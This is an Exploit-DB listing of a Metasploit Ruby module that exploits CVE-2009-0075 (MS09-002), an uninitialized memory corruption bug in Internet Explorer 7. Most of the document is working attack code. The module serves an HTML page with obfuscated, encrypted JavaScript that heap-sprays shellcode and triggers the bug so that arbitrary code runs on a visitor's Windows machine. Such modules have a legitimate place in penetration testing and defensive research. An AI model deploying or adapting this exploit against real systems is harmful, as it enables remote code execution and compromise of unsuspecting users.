标题: Microsoft Internet Explorer 7 - CFunctionPointer Uninitialized Memory Corruption (MS09-002) (Metasploit) EDB-ID: 16555 CVE: 2009-0075 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-12 漏洞利用脚本: ##
# $Id: ms09_002_memory_corruption.rb 9787 2010-07-12 02:51:50Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 #
 # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
 #
 #include Msf::Exploit::Remote::BrowserAutopwn
 #autopwn_info({
 # :ua_name    => HttpClients::IE,
 # :ua_minver  => "7.0",
 # :ua_maxver  => "7.0",
 # :javascript => true,
 # :os_name    => OperatingSystems::WINDOWS,
 # :vuln_test  => nil, # no way to test without just trying it
 #})

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption',
   'Description'    => %q{
    This module exploits an error related to the CFunctionPointer function when attempting
    to access uninitialized memory. A remote attacker could exploit this vulnerability to
    corrupt memory and execute arbitrary code on the system with the privileges of the victim.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'dean [at] zerodaysolutions [dot] com' ],
   'Version'        => '$Revision: 9787 $',
   'References'     =>
    [
     [ 'CVE', '2009-0075' ],
     [ 'OSVDB', '51839' ],
     [ 'MSB', 'MS09-002' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]
    ],
   'DisclosureDate' => 'Feb 17 2008',
   'DefaultTarget'  => 0))

  @javascript_encode_key = rand_text_alpha(rand(10) + 10)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  if (!request.uri.match(/\?\w+/))
   send_local_redirect(cli, "?#{@javascript_encode_key}")
   return
  end

  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return.
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names.
  rand1   = rand_text_alpha(rand(100) + 1)
  rand2   = rand_text_alpha(rand(100) + 1)
  rand3   = rand_text_alpha(rand(100) + 1)
  rand4   = rand_text_alpha(rand(100) + 1)
  rand5   = rand_text_alpha(rand(100) + 1)
  rand6   = rand_text_alpha(rand(100) + 1)
  rand7   = rand_text_alpha(rand(100) + 1)
  rand8   = rand_text_alpha(rand(100) + 1)
  rand9   = rand_text_alpha(rand(100) + 1)
  rand10  = rand_text_alpha(rand(100) + 1)
  rand11  = rand_text_alpha(rand(100) + 1)
  rand12  = rand_text_alpha(rand(100) + 1)
  rand13  = rand_text_alpha(rand(100) + 1)
  fill    = rand_text_alpha(25)

  js = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = new Array();
var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);
var #{rand4} = unescape("#{ret}");
while(#{rand4}.length<#{rand3}/2)
{#{rand4}+=#{rand4};}
var #{rand5} = #{rand4}.substring(0,#{rand3}/2);
delete #{rand4};
for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++) {#{rand2}[#{rand6}] = #{rand5} + #{rand1};}
CollectGarbage();
var #{rand7} = unescape("#{ret}"+"#{fill}");
var #{rand8} = new Array();
for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)
#{rand8}.push(document.createElement("img"));
function #{rand10}()
{
#{rand11} = document.createElement("tbody");
#{rand11}.click;
var #{rand12} = #{rand11}.cloneNode();
#{rand11}.clearAttributes();
#{rand11}=null;
CollectGarbage();
for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
#{rand8}[#{rand13}].src=#{rand7};
#{rand12}.click;
}
window.setTimeout("#{rand10}();",800);
|
  js = encrypt_js(js, @javascript_encode_key)

  content = %Q|<html>
<script language="JavaScript">
#{js}
</script>
</html>
|

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end
end URL: https://www.exploit-db.com/exploits/16555